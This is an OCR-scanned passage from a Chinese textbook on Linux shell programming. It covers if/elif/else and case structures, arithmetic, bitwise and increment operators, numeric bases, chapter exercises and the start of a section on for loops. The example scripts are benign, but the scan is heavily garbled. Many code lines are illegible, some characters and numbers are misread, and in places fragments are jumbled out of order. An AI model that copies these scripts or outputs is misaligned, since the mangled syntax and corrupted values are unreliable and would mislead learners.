eli | 1 mS se 0 
then 
leap=0 
else 





leap=1 
十 二 


# 输 出 用 户 输 入 的 年 份 是 否 是 半年 
SE "$leaBp™ “egq il 
then 
echo "$year is a leap vearl!l™ 





else 
Scorea i mo a Tea Vea 
EL 


例 7-26 中 脚本 ifelifelse_exam2.sh 首先 提示 用 户 输入 一 个 年 份 ， 然 后 通过 let 命令 将 年 份 
与 4、100 和 400 的 取 余 结果 分 别 保存 在 nl 、n 和 n3 中 ， 其 中 ，let 命令 和 取 余 操作 符 将 在 
7.4.1 节 中 进行 讲解 ， 这 里 就 不 再 详 加 说 明 。 在 判定 用 户 输入 的 年 份 是 否 为 国 年 的 过 程 中 ， 首 
先 判断 用 户 输入 的 年 份 能 否 被 4 整除 ， 不 能 被 4 整除 的 可 马上 判断 该 年 份 不 是 半年 ， 接 着 在 
能 被 4 整除 的 条 件 下 判断 是 否 能 被 100 整除 ; 如 果 不 能 被 100 整除 , 可 以 判定 该 年 份 是 半年 ; 
最 后 ， 如 果 该 年 份 能 被 100 整除 ， 则 接着 判断 该 年 份 能 否 被 400 整除 ， 如 果 能 被 400 整除 ， 
说 明 该 年 份 是 闽 年 ， 否 则 不 是 疼 年 。 

在 编写 这 个 脚本 的 过 程 中 用 了 一 个 标志 位 leap 用 于 标记 该 年 份 是 否 是 闵 年 ，leap 为 1 表 
示 该 年 份 是 国 年 ，leap 为 0 表示 该 年 份 不 是 图 年 ， 脚 本 在 最 后 用 if/then 结构 判断 该 标志 位 的 
让， 然后 给 出 相应 的 提示 信息 。 

下 面 是 脚本 ifelifelse_exam2.sh 的 执行 结果 ， 首 先 输入 1996， 由 于 1996 能 被 4 整除 但 不 
能 被 100 整除 ， 所 以 该 年 份 是 半年 ， 接 着 输入 了 2000， 由 于 2000 能 被 100 整除 且 能 被 400 
整除 ， 所 以 该 年 份 是 半年 ， 再 输入 1900 年 ， 由 于 1900 能 被 100 整除 但 不 能 被 400 整除 ， 所 
以 该 年 份 不 是 半年 ;最 后 输入 了 1998 年 ， 由 于 1998 不 能 被 4 整除 ， 可 以 立即 判定 该 年 份 不 
是 半年 。 
例 7-26 ifelifelse exam2.sh 脚本 的 执行 结果 
输入 一 个 能 被 4 整除 但 不 能 被 100 整除 的 间 年 年 份 
ECSalnheos ehnaetere/ | /Tfelirfelsen exam2 sn 
Please Input a year: 
996 
996 ls a leap year! 


输入 一 个 能 被 100 整除 但 不 能 被 400 整除 的 非 周年 年 份 
rootelocalnos enaeter /enelse xan hn 
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Please Input a year: 

900 

900 is not a leap year! 

输入 一 个 不 能 被 4 整除 的 年 份 

rootolocalhnost cnaptery lt /Teelntelseexam2 sn 
Please Input a year: 

go8 

998°s notra leap Year 

root@localhost Chapter7]# 








7.3.6 ”case 结 


和 ifyelif/else 结构 一 样 ，case 结构 同样 可 用 于 多 分 支 选 择 语句 ， 常 用 来 根据 表达 式 的 值 
选择 要 执行 的 语句 ， 该 命令 的 一 般 格 式 为 : 

















case variable in 
Valuel) 

command 
command;; 
value2) 

command 


command;; 


valueN) 
command 


Sommones. 
command 


eommenme 
esac 
































case 结构 的 变量 值 variable 与 valuel、value2 等 进行 逐一 比较 ， 直 到 找到 匹配 的 值 ， 如 


















































果 与 其 匹配 ， 将 执行 其 后 的 命令 ， 遇 到 双 分 号 则 跳 到 esac 后 的 语句 执行 ， 如 果 没 有 找到 与 变 












































量 值 variable 匹配 的 值 ， 脚 本 将 执行 默认 值 “*)” 后 的 命令 ， 直 至 “;; 






























































| 





\ 























”为 止 。 





要 注意 的 是 ，valuel 与 value2 等 的 值 必须 是 常量 或 正则 表达 式 ， 所 以 ， 使 用 case 命令 有 


时 无 法 对 if/else 语句 网 套 和 对 if/elif/else 结构 进行 改写 ,只 有 当 两 个 结构 的 判断 条 件 匹 配 某 常 












































量 或 正则 表达 式 时 才能 使 用 case 命令 。 在 Shell 编程 的 过 程 中 ， 一 般 对 于 判断 条 件 很 少 的 可 





以 使 用 这 条 件 语句 ， 但 在 多 个 条 件 判断 且 判 断 条 件 为 不 等 于 某 个 具体 常量 或 正则 表达 式 时 ， 
用 if/elif/else 结构 ， 对 于 多 个 判断 条 件 且 判断 条 件 是 某 变量 匹配 某 常 量 或 正则 表达 式 时 ， 可 






































用 case 结构 。 
下 面 通 过 例 7-27 来 说 明 case 命令 的 用 法 ， 新 建 一 个 脚本 case exam1. 





























sh， 其 脚本 内 容 如 下 : 














# 例 7-27: case_examl . sh 脚本 提示 输入 一 个 数字 〈1 一 12) ， 然 后 显示 其 对 应 月 份 的 英文 


#!/bin/bash 


# 提 示 用 户 输 入 月 份 (0 一 12) 
echo "Please Input a month(0-12): ™ 
read month 
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# 判 断 数 字 对 应 的 月 份 
case "$month jn 
1) 
SET 
2) 
echo "The month is February!";; 
3) 
seney re men Mon eb 
4) 
eeho phe momnte eA 
5) 
Seno hee montelsa en 
6) 
eene ne memeh ee ne 
2) 
eehney ne mene ly 光 
8) 
eeney rne meonth sou. 
9 
echo "The month is September!"™;; 
TQ) 
Seneom me monenns OoDer 
ly 
echo "The month is November!"™;; 
2 
eehney ne mntn ts Decemoer le.. 
Se 
eeheon kneemenenT rs nce mo 2 
esac 








# 显 示 case 脚本 执行 完成 ， 开 始 执行 esac 后 面 的 命令 
echo “The "Case command ends!™ 


case_examl.sh 脚本 用 于 将 用 户 输入 的 数字 月 份 转化 为 对 应 的 英文 月 份 。 该 脚本 首先 请 求 
用 户 输入 ， 并 将 输入 结果 保存 到 变量 month 中 ，case 命令 对 表达 式 $month 求 值 ， 然 后 通过 变 
量 的 值 对 1 一 12 进行 匹配 ， 如 果 匹 配 到 1 一 12 的 值 ， 将 显示 其 结果 对 应 的 月 份 ， 对 于 1 一 12 
不 能 匹配 的 case 表达 式 ， 将 执行 “*)” 后 面 的 命令 ， 然 后 将 执行 esac 后 面 的 命令 。 
下 面 是 脚本 case_examl.sh 的 执行 结果 ， 首 先 输入 一 个 1 一 12 之 间 的 月 份 ， 结 果 显 示 12 
对 应 的 英文 ， 接 着 脚本 执行 了 esac 后 的 命令 ; 然后 输入 一 个 不 在 1 一 12 之 间 的 数 13， 显 示 的 
输出 为 “The month is not in (0-12). ”， 接着 执行 esac 后 的 命令 。 


例 7-27 case exam1l .sh 脚本 的 执行 结果 
Eeedllccalnoscenmaneens /lehmeadatz ceasedexanl sh 

































































































































































rooteloecalhneos te enapeerli /ceasenexamlsh 
Blease Inpue a moutehn(O0 2): 

多 

The month is December! 

The ‘case' command ends 
rootelocalhnoselenaeter/lt /case r examl sh 
Please Input a mouth (0-12) : 

3 

me emerno en ina 

The ‘case' command ends 
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[root@localhost Chapter7] 


下 面 的 例 7-28 是 一 个 通过 case 命令 对 ifelse exam4 脚本 进行 反 过 来 改写 的 例子 , 当 用 户 
输入 成 绩 分 类 A~EE 时 ， 可 以 显示 学 生 的 分 数 段 ， 如 用 户 输入 成 绩 “A” 后 将 显示 其 分 数 段 
在 90 一 100 分 之 间 ， 输 入 B、C、D、 王 将 显示 其 对 应 的 分 数 段 。 新 建 一 个 脚本 case_exam2， 


其 脚本 内 容 如 下 : 
# 例 7-28: case_exam2 . sh 脚本 用 于 对 输入 一 个 分 数 类 别 (A~E)〉 显 示 其 对 应 的 分 数 段 
#!/bin/bash 

























































































# 提 示 用 户 输入 分 数 类 别 (A~E) 
ecmne eleasentue seoreneyem nD. 
Eeceyseonemev es 














# 判 断 用 户 输入 类 别 并 输出 对 应 的 分 数 段 
case "$score type" in 
A) 

seheo ime ron or Seore Too from elo 
B) 

eehey the range ofqSseore ls rem 0 Ee 3 
@y) 

seem meange orseore nsesomr on Een 
D) 

eehneq The range offSseore so Froemn oo Ee om 
E) 

seheN Tne ren or seore nem oo Eon 
a 

semeoq Wat ounput Swoon 
esac 




















下 面 是 例 7-28 中 脚本 case_exam2.sh 的 执行 结果 ， 该 脚本 同样 是 首先 提示 用 户 输入 一 个 
A~E 之 间 的 大 写字 母 ,用 户 输入 一 个 大 写 学 母后 将 执行 下 面 的 操作 ， 然 后 用 户 输入 卫 ， 可 以 
看 到 该 学 生成 绩 分 数 段 为 0 一 59， 接 着 输入 了 一 个 不 在 A~E 之 间 的 大 写字 母 ， 显 示 出 错 信 
县 “What you input is wrong !” 


例 7-28 case_exam2 .sh 脚本 的 执行 结果 
reotolocalnost enapter7ylHt /casenexam2ehn 



































pleasentaue Scoreye PD 
E 
The range of Score 1s from 0 to 59 1 








roeotolecalnost Cnaptery lt /ceasenexamn2 en 
Blsasesmrnoue se or cm el 

HH 

whate yvonneout es weone 

[root@localhost Chapter7]# 


RY 入 


在 7.2 节 中 提 到 了 整数 比较 运算 符 、 字 符 串 运算 符 、 文 件 操作 符 和 逻辑 运算 符 ， 这 里 不 
列 这 些 运 算 符 或 操作 符 。 本 节 主 要 详细 讲解 算术 运算 符 、 位 运算 符 和 自 增 自 减 运算 符 和 
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7.4.1 算术 运算 符 


在 Linux Shell 中 , 算术 运算 符 包 括 : + (加 运算 )、- ( 减 运 算 )、*( 乘 运算 )、/( 除 运算 )、% 
( 取 余 运算 )、**( 究 运算 )， 这 些 算术 运算 符 的 举例 及 其 结果 如 表 7-7 所 示 。 









































+( 加 运算 ) 





-( 减 运算 ) 





*( 乘 运算 ) 





/人 ( 除 运 算 ) 
%( 取 余 运算 ) 














*#( 宕 运算 ) 



































在 运算 过 程 中 ， 要 特别 注意 在 整数 的 除法 运算 时 ， 其 结果 将 舍弃 整数 部 分 ， 并且 忽 略 四 
舍 五 入 ， 最 终结 果 为 商 的 整数 部 分 。 下 面 的 例 7-29 说 明了 这 一 点 ， 通 过 let 命令 分 别 计算 


“8/5*5” 与 “8*5/5” 的 结果 是 不 同 的 ， 前 者 的 结果 为 5， 后 者 的 结果 为 8。 
例 7-29: 一 个 关于 整数 运算 符 的 例子 
先 除 后 乘 运算 
root@localhost Chapter7 let "z=8/5*5" 
root@localhost Chapter7 Scnol rz $2 
Z=5 
先 乘 后 除 运 算 
root@localhost Chapter7 let "z=8*5/5" 
root@localhost Chapter7 Scene z $2 
z=8 
EooEaliccealneost enaeEery 
下 面 再 举 一 个 取 余 和 索 运 算 的 例子 ， 例 7-30 同样 使 用 let 命令 来 执行 算术 运算 ， 然 后 通 
过 echo 命令 将 结果 显示 出 来 。 在 取 余 的 操作 中 计算 “19%5” 的 结果 ， 在 窜 运 算 的 例子 中 计 
算 “5**3” 的 结果 ， 前 者 的 结果 为 4， 后 者 为 125。 
例 7-30: 一 个 取 余 筑 运 算 的 例子 
取 余 运算 


root@localhost Chapter7 let "v=19%5" 






















































































这 
中 



































汪 





























root@localhost Chapter7 echon ry $y 
V=4 

震 运 算 
root@localhost Chapter7 let “v=5**3™ 
root@localhost Chapter7 cho y=$y" 
V=125 
EeeoalsecalnoseenaeEey/ 
在 除法 和 取 余 运算 过 程 中 要 注意 除数 不 能 为 0， 和 否则 将 显示 如 例 7-31 的 除 0 的 错误 。 
例 7-31: 除 0 错误 
root@localhost Chapter7 let "v=5/0" 

-bash: let: v=5/0: division by 0 (error token is "0") 
root@localhost Chapter7 let "v=5%0™ 

bash mie mv oO a Sin lems 
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专门 的 函数 ， 这 一 点 和 C 


用 的 
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到 精通 》 


root@localhost Chapter7]# 


使 用 算术 运算 符 无 法 对 字符 串 、 文 件 的 浮 点 型 数 进行 计算 ， 对 于 浮 点 型 操作 ， 





语言 是 不 相同 的 ， 





向 4 [44 











算术 运算 符 可 与 赋 人 


























复合 赋值 运算 符 及 























表 7-8 


运算 符 
用 法 
算术 复合 赋值 运算 符 





o 

















要 特别 注意 。 
=” 联 用 ， 称 为 算术 复合 赋值 运 








算 符 。 





需要 用 到 


表 7-8 列 出 了 这 些 铺 




















7.4. 






















































































位 运算 符 在 Shell 编 






































= 二 et = eh te Mo ty 
下 面 是 一 个 算术 复合 赋值 运算 符 的 例子 ， 例 7-32 中 
二 三 站 4 = [二 
加 运算 加 6， 结 果 为 11; 最 后 使 用 赋 4 
为 2。 
例 7-32: 复合 运算 符 的 例子 
root@localhost Chapter7 value=5 
root@localhost Chapter7 let "value+=6" 
root@localhost Chapter7 echo "value=$value" 
value=11 
root@localhost Chapter7 let "value/=5" 
root@localhost Chapter7 Echo “value=$value" 
value=2 
root@localhost Chapter7 
-L、\ 一 
2 位 运算 符 





除 运算 符 将 value 




















首先 设置 变量 value 值 











为 5; 然后 通 
































的 值 除 以 5， 最 终 














程 中 很 少 使 用 ， 通 常用 于 整数 间 的 运算 ， 位 运 








存 中 





存储 的 二 进 制 数据 流 











的 二 
符 及 





























其 用 法 。 
表 7-9 位 运算 符 








举 


ji 中 的 位 进行 的 操作 。 例 如 ， 表 达 式 “2<<1” 表 示 将 整数 2 在 内 存 中 
进 制 数据 流向 左 移动 一 个 ， 相 当 于 算术 运算 “ 乘 以 2” 的 操作 。 











久 的 value 结 





: 算 符 是 针对 整数 在 内 











表 7-9 中 列 出 了 位 运算 


解释 和 value 值 





<<( 左 移 ) 


value=4<<2 


4 左 移 2 位 ， 


value 


值 为 16 





>> 〈 右 移 ) 


value=8>>2 


8 右 移 2 位 ， 


value 


值 为 2 





让 《 


按 位 与 ) 


value=8&4 


8 按 位 与 4，value 值 为 0 








|《〈 按 位 或 ) 


value=8|4 


8 按 位 或 4，value 值 








为 12 








~《 按 位 非 ) 


value=~8 


按 位 非 8，value 值 为 -9 











按 位 与 运算 ， 只 有 两 个 二 





Value=10^3 


进 制 都 为 1 时 ， 





结果 才 为 1; 


10 按 位 异 或 3，value 值 为 9 


按 位 或 
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位 为 1， 则 结果 为 1; 按 位 异 或 运算 ， 两 个 二 进 制 位 数 相同 (同时 为 0 或 1) 时 ， 结 果 为 0， 
否则 为 1， 按 位 取 反 运算 符 是 将 二 进 制 中 的 0 修改 为 1，1 修改 为 0。 位 运算 符 在 C、C++ 或 
Java 中 会 列 出 详细 运算 符 的 过 程 ， 这 里 就 不 再 列 出 其 详细 的 计算 过 程 。 例 7-33 是 一 个 位 运算 
的 例子 ， 使 用 到 了 表 7-9 中 列 出 的 位 运算 符 ， 可 以 看 出 ， 左 移 2 位 相当 于 乘 以 4， 而 右 移 2 
位 相当 于 除 以 4， 所 以 ， 在 算术 运算 过 程 中 用 到 乘 以 或 除 以 2 的 窜 时 ， 可 用 位 运算 来 代替 

因为 位 运算 的 效率 要 高 于 算术 运算 。 

例 7-33: 位 运算 的 例子 
左 移 运算 


root@localhost Chapter7 let "value=10<<2" 























































































































root@localhost Chapter7 echo "value=$value" 
value=40 
右 移 运算 
root@localhost Chapter7 let "value=10>>2" 

root@localhost Chapter7 echo "value=$value™ 
value=2 
root@localhost Chapter7 let "value=10&2" 

root@localhost Chapter7 echo "value=$value™ 
value=2 
按 位 或 运算 


root@localhost Chapter7 let "value=10|2" 




















root@localhost Chapter7 echo "value=$value" 
value=10 
按 位 取 反 运算 
root@localhost Chapter7 let "value=~10" 

root@localhost Chapter7 echo "value=$value™ 
value=-11 
按 位 异 或 运算 
root@localhost Chapter7 let "value=10^2" 

root@localhost Chapter7 echo "value=$value™ 
value=8 




















rootaloealnosteehnaeterenr 
同 算术 运算 符 一 样 ， 位 运算 符 同 样 可 以 同 赋值 运算 符 “=” 联 用 ， 组 成 复合 赋值 运算 符 。 
表 7-10 列 出 了 这 些 复合 运算 符 及 其 用 法 。 

































































表 7-10 复合 运算 符 
举例 





value<<=2 value=value<<2 





value>>=2 value=value>>2 





value&=4 value=value&4 





value|=4 value=value|4 





Value^=3 value=value^3 






































要 注意 的 是 ， 按 位 非 运 算 符 是 一 元 运算 符 ， 无 法 和 赋值 运算 符 组 成 复合 运算 符 。 下 面 的 
例 7-34 是 一 个 使 用 位 运算 的 符号 赋值 运算 符 的 例子 ， 首 先 设置 了 一 个 value 值 ， 然 后 对 其 进 
行 复合 赋值 运算 。 

# 例 7-34: 复合 位 运算 的 例子 

[root@localhost Chapter7]# value=10 
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lhost 
Se 已 


root@l1 
Eo@oOEUL 
value=40 


OCal 
ocal 


SS 
TGS 


SQL 
ES 
Value=10 
NSS 
nes 


EOE 
root@l1 
value=0 








ocalhost 





Boo 


7.4.3 

同 其 他 的 编程 语 
加 1 或 减 1。 自 
置 自 增 〈variable++) 
加 1， 







































































Chapter7 
Chapter7 


Chapter7 
Chapter7 


Chapter7 
Chapter7 











Chapter7 


自 增 自 减 运算 符 
言 一 相 
增 自 减 操作 符 主 








和 后 置 





-用 于 给 变量 减 1) ， 然 后 将 改变 的 变量 值 
用 后 再 改变 变量 的 值 。 














要 特别 注意 : 上 


必须 为 整数 型 ， 例 如 : 


++1、 


f£, Linux Shell 


自 减 (variable--)。 前 1， 
交 给 表达 式 使 


let "Value<<=27 
echo "value=$value" 


Jet wvalue>>=2" 
echo "value=$value" 


let 
echo "value=$value" 


"value&=4" 
























































例子 ， 新 建 脚本 increment and_ decrement exam1， 脚 本 内 容 如 下 : 





!/bin/pbash 


变量 赋 初 


numl=5 


El 








使 用 前 置 自 
let 
echo "a=$a" 


增 操作 
































"a=5+ (++num1) " 


例 7-35: increment and decrement_examl.sh 脚本 实 














岗 变 量 的 自 增 自 











半 本 increment and_ decrement examl.sh 中 使 用 了 前 置 








也 提供 了 自 增 自 减 运算 符 ， 其 作用 是 自 
要 包括 前 置 自 增 (++variable) 、 前 
置 操 作 首 先 改变 变量 的 值 (++ 用 于 
用 ; 后 置 变 量 则 是 在 表达 式 使 





增 自 减 操 作 符 的 操作 元 只 能 是 变量 ， 不 能 是 常数 或 表达 式 ， 
(num+2) ++ 都 是 不 合法 的 。 下 面 的 例 7-35 是 一 个 


减 


Er 


直 . 




















自 减 〈--variable 









































动 将 变量 


) 站 后 
给 变量 




















该 变量 值 























自 增 


日 减 的 











自 增 和 后 置 自 增 运 算 符 ， 




























































































7-35 increment and decrement examl .sh 脚本 的 执行 结果 


自 增 方式 进行 比较 。 下 面 是 该 脚本 的 执行 结果 , 可 以 看 到 , 前 置 


用 于 对 























日 增 运算 的 结果 为 11， 


[root@localhost Chapter7]# ./increament and decrement examl.sh 





变量 赋 初 值 
num2=5 
使 用 后 置 自 增 操 作 
ISOE=STUTUm 外 ) 
echo "b=$b" 
在 
这 两 种 
后 置 自 增 运算 的 结果 为 10。 
# 例 
a=11 
b=10 
[root@localhost 


Chapter7]# 


7.4.4 数字 常量 
Linux Shell 脚本 或 命令 默认 将 数字 以 十 进 











由 的 方式 进行 处 理 ， 
































如 果 要 使 用 其 他 进 制 的 方 
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式 进行 处 理 ， 则 需 对 这 个 数字 进行 特定 的 标记 或 加 前 级 。 当 使 用 0 作为 前 级 时 ， 表示 八进制 ; 








当 使 





设置 


该 及 




































































用 0x 进行 标记 时 ， 表 示 十 六 进 制 ， 同 时 还 可 使 用 num# 这 种 形式 标记 进 制 数 。 
下 面 的 例 7-36 是 一 个 使 用 数字 常量 的 例子 ， 新 建 一 个 脚本 constant_ examl.sh， 其 脚本 内 





例 7-36: constant_examl .sh 脚本 实现 数字 常量 
!/bin/bash 

















默认 进 制 表示 方式 : 十 进 制 
let "num1=40" 
echo "numl=$numl" 

















八进制 表示 方式 : 以 “0” 作 为 前 级 
let "num2=040"™ 
echo "num2=$num2" 














十 六 进 制 表示 方式 ; 以 “0x” 作 为 前 绥 
let "num3=0x40" 


echo "num3=$num3" 

在 脚本 constant_exam1.sh 中 ,分别 列 出 了 十 进 制 、 八 进 种 
了 40 这 个 数字 常量 , 可 以 看 出 这 三 种 进 和 
本 的 执行 结果 。 

# 例 7-36 constant exam1l .sh 脚本 的 执行 结果 


[reotQalocalnost Cnacterlt /constantiexamlsh 
numl=40 





























ee 


和 十 六 进 制 的 表示 方式 ， 同 时 
最 后 产生 的 十 进 制 结果 是 不 同 的 。 下面 给 出 了 




















一 局 























num2=32 
num3=64 
[root@localhost Chapter7]# 


在 Linux Shell 编程 过 程 中 还 可 使 用 num# 来 表示 不 同 的 进 制 。 下 面 的 例 7-37 就 是 一 个 使 












































用 num# 的 例子 ， 新 建 一 个 脚本 constant exam2.sh， 其 脚本 内 容 如 下 : 





1 
= 

















例 7-37: constant exam2.sh 脚本 使 用 num# 实 现 进 制 表示 
!/bin/bash 











二 进 制 表示 方式 ， 以 “2#” 表 示 
ene rnd 2 OY 
echo "numl=$numl"™ 














八进制 表示 方式 ， 以 “8#” 表 示 
let "num2=8#50" 
echo "num2=$num2 




















十 六 进 制 表示 方 式 : 以 “16#” 表 示 
let "num3=16#50" 
echo "num3=$num3" 


在 脚本 constant_exam2.sh 中 ， 分 别 列 出 了 二 进 制 、 八 进 制 和 十 六 进 制 的 表示 方式 ， 下 面 
了 该 脚本 的 执行 结果 。 
# 例 7-37 constant exam2 .sh 脚本 的 执行 结果 
际 5sedtlceamost enapterl /oonstantiszam2 sh 


numl=55693 
num2=40 
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num3=80 
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[root@localhost Chapter7]# 

对 于 二 进 制 和 八进制 来 说 ， 要 注意 在 设置 数 的 时 候 ， 二 进 制 都 是 由 0 和 1 表示， 八进制 
由 0 一 7 来 表示 ， 如 果 超 出 这 个 数值 范围 ， 会 显示 出 错 信息 ， 如 下 所 示 : 

# 二 进 制 超出 数值 范围 的 错误 

[root@localhost Chapter8]# let "2#23" 


-bash: let: 2#23: Value too great for base (error token is "2#23") 
[root@localhost Chapter8]# 


本 章 小 结 人 


本 章 深入 探讨 了 Linux Shell 的 退出 状态 、 测 试 、 判 断 和 运算 符 ， 本 章 从 退出 状态 入 手 ， 
讨论 退出 状态 的 含义 ， 接 着 介 绍 了 测试 的 结构 ， 并 对 整数 比较 运算 符 、 字 符 串 运算 符 、 文 件 
操作 符 和 逻辑 运算 符 做 了 详尽 分 析 ， 然 后 介绍 了 Linux Shell 中 的 判断 结构 ， 重 点 讨论 各 种 判 
断 结构 的 用 法 ， 最 后 介绍 了 算术 运算 符 、 位 运算 符 、 自 增 自 减 运算 符 和 数字 常量 的 用 法 。 操 
作 符 或 运算 符 、 测 试 和 判断 是 Shell 编程 的 入 门 部 分 ， 因 此 , 本章 是 Shell 编程 的 基础 章节 ， 
扎实 地 掌握 本 章 内 容 是 学 习 本 书后 续 章节 的 基础 。 


上 机 提议 站 


1. 首先 使 用 一 个 正确 的 Shell 命令 ， 用 变量 $? 测 试 其 退出 状态 ， 然 后 使 用 一 个 错误 的 Shell 
人 令 ， 用 变量 $? 测 试 其 退出 状态 。 

2. 初始 化 两 个 变量 值 ， 然 后 利用 整数 比较 运算 符 比较 这 两 个 变量 的 大 小 ， 并 用 echo 变 
量 测 试 其 退出 状态 。 

3. 初始 化 一 个 字符 串 ， 然 后 测试 文件 是 否 为 空 ; 然后 再 初始 化 一 个 字符 串 ， 比 较 这 两 个 
字符 串 是 否 相 等 。 

4. 创建 一 个 文件 或 目录 ， 然 后 测试 其 是 文件 还 是 目录 ， 如 果 创 建 的 是 文件 ， 则 测试 该 文 
件 是 否 可 读 、 可 写 、 可 执行 ， 并 测试 其 退出 状态 。( 提 示 : 使 用 touch 创建 文件 ， 使 用 mkdir 
创建 目录 ) 

5. 上 机 运行 7.2.5 节 中 关于 逻辑 非 、 逻 辑 与 和 逻辑 或 的 例子 ， 体 会 一 下 逻辑 与 和 逻辑 或 
的 区 别 。 

6. 初始 化 一 个 字符 串 ， 然 后 通过 简单 的 让 结构 测试 该 字符 串 是 否 为 室 ， 如 果 为 室 ， 则 
用 echo 命令 输出 “What you input is null!1” 如 果 不 为 室 ， 则 用 echo 命令 输出 “What you input 
is not null!”， 同 时 分 析 一 下 两 种 测试 字符 串 为 空 的 命令 的 区 别 与 联系 。 

7. 在 习题 6 的 基础 上 ， 如 果 字 符 串 为 空 ， 使 用 exit 命令 设置 一 个 退出 状态 ,然后 在 脚本 
执行 的 过 程 中 使 用 echo 命令 测试 程序 中 设置 的 退出 状态 是 否 为 预先 设置 的 退出 状态 。 
8. 创建 一 个 目录 ， 然 后 用 if/else 测试 文件 是 否 创建 成 功 ， 如 果 创 建成 功 ， 使 用 echo 命 
邻 返回 “The directory is created Successfully!>” 如 果 不 成 功 ， 则 使 用 echo 命令 返回 “The 
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导 echo 命令 亿 回 “Tuesday ; 






































































































































ww。 3， 风 用 echo 命令 返回 “Wednesday”; 

如 果 输 入 的 数字 是 4， 则 用 echo 命令 返回 “Thursday”; 

如 果 输 入 的 数字 是 5， 则 用 echo 命令 返回 “Friday”; 

如 果 输 入 的 数字 是 6， 则 用 echo 命令 返回 “Saturday ”。 

10. 使 用 if/elif/else 结构 改写 习题 9。 

11. 使 用 case 结构 改写 习题 9， 并 比较 ifelse 媒 套 结构 、 记 eliflelse 结构 和 case 结构 的 区 
别 与 联系 。 

12. 使 用 let 命令 计算 12*5/5 与 12/5*5 的 值 , 然后 查看 一 下 结果 是 否 相 同 ， 如果 不 相同 ， 
试 说 明 结 果 不 相 同 的 原因 。 

13. 通过 Shell 编程 计算 下 面 位 运算 的 值 : 

(1) 20<<2 

(2) 20>>2 

(3) 20&2 

(4) 202 

(S$) ~20 

(6) 20^2 

14. 上 机 运行 7.4.3 节 中 的 脚本 increment and decrement exam1， 比 较 前 置 自 增 和 后 置 
自 增 的 区 别 。 































在 Linux Shell 的 编程 过 程 中 ， 有 时 需要 反复 执行 茶 一 个 命令 或 某 
一 组 命令 ， 这 时 要 用 到 循环 结构 化 命令 。 循 环 命令 用 于 特定 条 件 下 决 
定 某 些 语句 重复 执行 的 控制 方式 ， 它 具有 封闭 型 的 单 入 单 出 性 质 ， 也 
就 是 说 ， 进 入 循环 结构 后 ， 只 要 循环 条 件 未 达到 结束 状态 ， 就 始终 执 


行 循环 体内 的 操作 ,在 Shell 中 提供 了 三 种 常用 的 循环 语句 , 分 别 是 for 旨 
第 请 区 财 0 























































































































循 语句 和 until 循环 语句 。 木 童 竺 绎 4 x i a 
循环 结构 ， 凑 在 尼 汪 础 上 讨论 循环 控制 符 break 和 continue 的 用 法 。 化 
区 
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for 循环 人 








for 循环 是 Linux Shell 中 最 常用 的 结构 。for 循环 有 三 种 结构 : 一 种 结构 是 列表 for 循环 ; 
第 二 种 结构 是 不 带 列 表 for 循环 ; 第 三 种 结构 是 类 C 风格 的 for 循环 。 这 三 种 结构 将 在 下 面 进 
行 详细 介绍 。 


8.1.1 列表 for 循环 
列表 for 循环 语句 用 于 将 一 组 命令 执行 已 知 的 次 数 , 下面 给 出 了 for 循环 语句 的 基本 格式 : 


EE Volalle Tn (st 
do 




































































command 
command 
dene 
其 中 , do 和 done 之 间 的 命令 称 为 循环 体 , 执行 次 数 和 list 列表 中 常数 或 字符 串 的 个 数 相 
同 。 当 执行 for 循环 时 ， 首 先 将 in 后 list 列表 的 第 一 个 常数 或 字符 串 赋 值 给 循环 变量 ， 然 后 
执行 循环 体 ; 接着 将 list 列表 中 的 第 二 个 常数 或 字符 串 赋值 给 循环 变量 ， 再 次 执行 循环 体 。 
这 个 过 程 将 一 直 持续 到 list 列表 中 无 其 他 的 常数 或 字符 串 , 然 后 执行 done 命令 后 的 命令 序列 。 
下 面 的 例 8-1 演示 了 列表 for 循环 中 Tist 列表 是 常数 的 情况 ,新 建 一 个 for_examl.sh 脚本 ， 
该 脚本 的 内 容 如 下 : 


# 例 8-1: for examl .sh 脚本 演示 利用 for 循环 显示 5 次 欢迎 操作 
#!/bin/bash 












































































































































# 使 用 列表 for 循环 显示 5 次 欢迎 操作 
For vardialel nL 2233409 
do 
echo "Hello, Welcome $variaBlel times ™ 
done 


脚本 for_examl.sh 这 类 的 循环 经 常用 于 计数 , 范围 被 限定 在 1 一 5 之 间 。 下 面 是 这 个 脚本 
的 执行 结果 ， 由 于 站 后 面 的 列表 列 出 了 5 个 参数 ， 可 以 看 出 该 脚本 执行 了 5 次 欢迎 操作 。 
例 8-1 for examl .sh 脚本 的 执行 结果 


mecoteneennes et rm 
ello, Welcome 



































[ 

H 1 times 
Hello, Welcome 2 times 
Hello, Welcome 3 times 
H 4 
H 本 


ello, Welcome times 








ello, Welcome times 
root@localhost Chapter8]# 


Linux Shell 中 支持 列表 for 循环 中 使 用 略 写 的 计数 方式 ， 脚 本 for exam2.sh 就 是 一 个 这 
样 的 例子 ， 该 脚本 将 1 一 $ 的 范围 用 {1..5} 表 示 。 


例 8-2: for_exam2 .sh 脚本 利用 for 循环 显示 5 次 欢迎 操作 
IVRVSasN 




















使 用 列表 for 循环 略 写 方式 显示 5 次 欢迎 操作 
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ferventablel ne ls 
do 

echo “Hello, Welcome $variablel times ™ 
done 
下 面 是 脚本 for_exam2.sh 的 执行 结果 ， 可 以 看 出 和 脚本 for_examl.sh 的 执行 结果 相同 。 
# 例 8-2 for exam2 .sh 脚本 的 执行 结果 
[eeeoteloeclnest enteralt forexam2 sh 
Hello, Welcome times 
times 














Hello, Welcome 


times 
Hello, Welcome times 
[root@localhost Chapter8]# 


Linux Shell 中 还 支持 按 规定 的 步 数 进行 跳跃 的 方式 实现 列表 for 循环 ， 例 8-3 中 的 脚本 


Hello, Welcome 








Wl 

总 
Hello, Welcome 3 times 

4 

3S 

















for exam3.sh 用 于 计算 1 一 100 内 所 有 的 奇数 之 和 ， 下 面 是 其 脚本 内 容 。 
































# 例 8-3: for_exam3 .sh 脚本 使 用 列表 for 循环 计算 1 一 100 内 所 有 的 奇数 之 和 
#!/bin/bash 


# 对 sum 赋 初 值 


sum=0 





# 使 用 列表 for 循环 计算 1 一 100 内 所 有 的 奇数 之 和 ， 并 将 值 保存 在 sum 中 
Bo a ba le EO a 
do 





let "sumt+=i" 
done 





输出 sum 值 


echo "sum=$sum" 
由 本 for exam3.sh 首先 给 sum 赋 初 值 


芭 本 的 执行 结果 如 下 所 未 : 

例 8-3 for_exam3.sh 脚本 的 执行 结果 
LOS 
sum=2500 

root@localhost Chapter8]# 


